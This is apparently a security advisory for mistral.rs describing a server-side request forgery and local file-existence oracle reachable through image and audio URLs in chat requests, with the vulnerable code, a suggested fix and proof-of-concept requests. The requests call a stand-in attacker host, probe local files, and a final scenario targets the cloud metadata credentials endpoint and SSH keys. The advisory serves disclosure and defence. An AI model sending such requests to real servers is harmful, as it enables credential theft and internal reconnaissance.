GHSA-wfgq-w7cq-qj7j: mistral.rs: SSRF & file-read via image/audio URLs

### Summary mistral.rs fetches any request-supplied image/audio URL with no host or IP validation, and opens arbitrary local files (a `file://` URL, or any existing relative/absolute path). A remote, unauthenticated client of any vision/audio deployment can cause the server to issue requests to internal or cloud-metadata addresses (SSRF) and to open arbitrary local files, via the standard OpenAI `image_url` / `audio_url` message content. The server is unauthenticated by default. ### Details `parse_image_url` in `mistralrs-server-core/src/util.rs` (lines 45-88) resolves the request string and fetches/opens it: ```rust let url = if let Ok(url) = url::Url::parse(url_unparsed) { url } else if File::open(url_unparsed).await.is_ok() { // a bare existing path (relative or absolute) url::Url::from_file_path(std::path::absolute(url_unparsed)?) ... } else { bail!(...) }; let bytes = if url.scheme() == "http" || url.scheme() == "https" { reqwest::get(url.clone()).await ... // SSRF: no host/IP/allowlist check } else if url.scheme() == "file" { File::open(path).await ... read // arbitrary local file read } else if url.scheme() == "data" { ... base64 ... }; ``` `reqwest::get` has no allowlist, no private/loopback/link-local/metadata block, and follows redirects by default. The `file` scheme (and any bare path that already exists on the server, resolved at line 48) is opened and read. `parse_audio_url` (line 91) is identical for `audio_url`. The value reaches this unvalidated: `mistralrs-server-core/src/chat_completion.rs` calls `parse_image_url(&url_unparsed)` / `parse_audio_url(&url_unparsed)` on the chat message content, at request time. For reference, vLLM gates outbound media domains (`allowed_media_domains`) and local paths (`allowed_local_media_path`); mistral.rs has neither. ### Suggested fix Restrict request-supplied media to `http(s)` and `data:`; do not resolve bare strings to local files and do not honor the `file` scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching `http(s)`, resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size. ### Proof of concept On a default vision deployment, unauthenticated: SSRF - the server fetches the attacker URL during request processing: ``` POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}}, {"type":"text","text":"hi"}]}],"max_tokens":1} ``` An out-of-band HTTP GET arrives at ATTACKER; a redirect to an internal/metadata address is followed. Arbitrary local file open, with a file-existence oracle in the response body (an existing file and a nonexistent path return different errors): existing file (opened and read, then fails to decode): ``` POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"image_url","image_url":{"url":"/etc/hostname"}}, {"type":"text","text":"hi"}]}],"max_tokens":1} -> 500, response body message: "The image format could not be determined" ``` nonexistent path: ``` POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"image_url","image_url":{"url":"/nonexistent"}}, {"type":"text","text":"hi"}]}],"max_tokens":1} -> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..." ``` The difference is structural: `parse_image_url` (util.rs:48) takes the file branch only when `File::open(url_unparsed)` succeeds, otherwise it bails with "file not found on server" (util.rs:52); an existing-but-non-image file is read and then fails in `image::load_from_memory` (util.rs:87). The error response carries `sanitize_error_message` (util.rs:210), which returns the root-cause message, so both reach the client verbatim. ### Impact An attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied `file://` URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure. Availability (CVSS A:L): `reqwest::get` (util.rs:61) uses the default client, which has no timeout, and `http_resp.bytes()` (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The `file` branch allocates `vec![0; metadata.len()]` (util.rs:73) before reading, so pointing at a large local file does the same.

An attacker with network access to a public-facing mistral.rs vision endpoint sends a chat completion request with `image_url` set to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` or an internal service address; the server-side fetch (blind SSRF) reaches that target during request processing, letting the attacker pivot into cloud credential theft or internal service discovery even though the response body isn't echoed back. Separately, the attacker submits `image_url` values pointing at sensitive local paths (e.g., `/etc/passwd`, application config files, SSH keys) and distinguishes 'file exists' (500 with an image-decode error) from 'not found' (500 with a distinct 'file not found' message), building a map of the server's filesystem layout as reconnaissance for further compromise — all without authentication.